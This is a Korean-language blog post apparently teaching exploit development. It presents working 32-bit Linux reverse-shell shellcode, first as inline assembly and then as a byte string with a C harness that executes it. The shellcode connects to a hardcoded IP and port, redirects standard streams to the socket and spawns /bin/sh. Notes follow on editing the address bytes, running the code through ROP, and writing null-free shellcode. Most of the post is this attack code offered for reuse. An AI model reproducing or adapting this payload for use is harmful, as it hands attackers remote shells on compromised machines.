티스토리 뷰
어셈 코드(32bit 어셈)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | int main(void) { asm( "xor %eax, %eax\n\t" "xor %ebx, %ebx\n\t" "xor %ecx, %ecx\n\t" "push %ecx\n\t" //IPPROTO_IP "inc %ecx\n\t" "push %ecx\n\t" //SOCK_STREAM "inc %ecx\n\t" "push %ecx\n\t" //AF_INET "mov %esp, %ecx\n\t" "inc %ebx\n\t" "mov $0x66, %al\n\t" "int $0x80\n\t" //socket() "add $0x0c, %esp\n\t" "mov %eax, %esi\n\t" "xor %eax, %eax\n\t" "push %eax\n\t" "push %eax\n\t" //zero "mov $0x8034a8c0, %eax\n\t" "push %eax\n\t" //ip "xor %eax, %eax\n\t" "mov $0x4648, %ax\n\t" "push %ax\n\t" //port "xor %eax, %eax\n\t" "mov $0x02, %al\n\t" "push %ax\n\t" //AF_INET "mov %esp, %edx\n\t" "mov $0x10, %al\n\t" "push %eax\n\t" //sizeof(struct sockaddr_in) "push %edx\n\t" //struct sockaddr_in "mov %esp, %ecx\n\t" "push %esi\n\t" //fd "mov %esp, %ecx\n\t" "mov $0x03, %bl\n\t" "mov $0x66, %al\n\t" "int $0x80\n\t" //connect() "add $0x1c, %esp\n\t" "xor %ecx, %ecx\n\t" "mov %ecx, %ebx\n\t" "mov %esi, %ebx\n\t" "xor %eax, %eax\n\t" "mov $0x3f, %al\n\t" "int $0x80\n\t" //dup2(4,0) "inc %ecx\n\t" "xor %eax, %eax\n\t" "mov $0x3f, %al\n\t" "int $0x80\n\t" //dup2(4,1) "inc %ecx\n\t" "xor %eax, %eax\n\t" "mov $0x3f, %al\n\t" "int $0x80\n\t" //dup2(4,2) "xor %eax, %eax\n\t" "xor %edx, %edx\n\t" "push %eax\n\t" "push $0x68732f2f\n\t" "push $0x6e69622f\n\t" //"/bin//sh "mov %esp, %ebx\n\t" "push %eax\n\t" "push %ebx\n\t" "mov %esp, %ecx\n\t" "mov $0x0b, %al\n\t" "int $0x80\n\t" //execve() "add $0x10, %esp\n\t" ); return 0; } | cs |
쉘코드 테스트
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | char sc[] = "\x31\xc0\x31\xdb\x31\xc9\x51\x41\x51\x41\x51\x89\xe1\x43" "\xb0\x66\xcd\x80\x83\xc4\x0c\x89\xc6\x31\xc0\x50\x50\xb8" "\xc0\xa8\x34\x80\x50\x31\xc0\x66\xb8\x48\x46\x66\x50\x31" "\xc0\xb0\x02\x66\x50\x89\xe2\xb0\x10\x50\x52\x89\xe1\x56" "\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x83\xc4\x1c\x31\xc9\x89" "\xcb\x89\xf3\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f" "\xcd\x80\x41\x31\xc0\xb0\x3f\xcd\x80\x31\xc0\x31\xd2\x50" "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53" "\x89\xe1\xb0\x0b\xcd\x80"; void main() { void(*shell)() = (void *)sc; shell(); } | cs |
- 필요에 따라 ip와 port 부분의 2바이트, 4바이트 상수 값을 수정
- ROP 시, mprotect()나 mmap()을 이용해 실행 권한을 주면 실행 가능
쉘코드 제작 팁
- 익숙하면 바로 어셈으로 작성해도 되지만, 아니라면 우선 C언어로 작성하고자 하는 코드 작성
- 컴파일 후, strace를 통해 실행
- 자신이 작성한 함수 부분을 찾은 후, 이용된 시스템 콜 함수 확인
(찾기 어렵다면 시작과 끝 부분에 printf 같은 출력 함수를 통해 출력되는 부분) - 시스템 콜 테이블(32bit, http://syscalls.kernelgrok.com/)에서 시스템 콜 넘버(eax 값) 확인
- 시스템 콜 호출 인터럽트는 0x80, 따라서 eax에 시스템 콜 넘버를 채운 후, int 0x80을 호출
- 함수의 인자 채우는 방법
- 함수의 인자가 포인터 : 스택에 push를 통해 값 들을 채워주고, mov esp, reg로 스택 주소 획득
(2중 포인터라면 얻은 주소를 Stack에 push한 후, 한 번 더) - 함수의 인자가 상수 : mov $상수, reg
- 4바이트 레지스터에 1바이트 상수 등을 넣으면 NULL이 붙을 수 밖에 없기 때문에 주의!
ex) ( mov $0x01, %eax == mov $0x00000001, %eax )
=> ( xor eax, eax & mov $0x01, al ) 처럼 변경 - 어렵다면 쉘코드 만드는 과정을 많이 볼수록 좋음
'System > Linux' 카테고리의 다른 글
Unix Domain Socket (0) | 2018.07.10 |
---|---|
Linux Crash Monitor[dmesg] (0) | 2018.01.23 |
Linux TLS(Thread Local Storage) 정리 (0) | 2017.06.05 |
Linux Device Driver 정리 (2) (0) | 2017.06.01 |
Linux Device Driver 정리 (1) (0) | 2017.05.28 |
댓글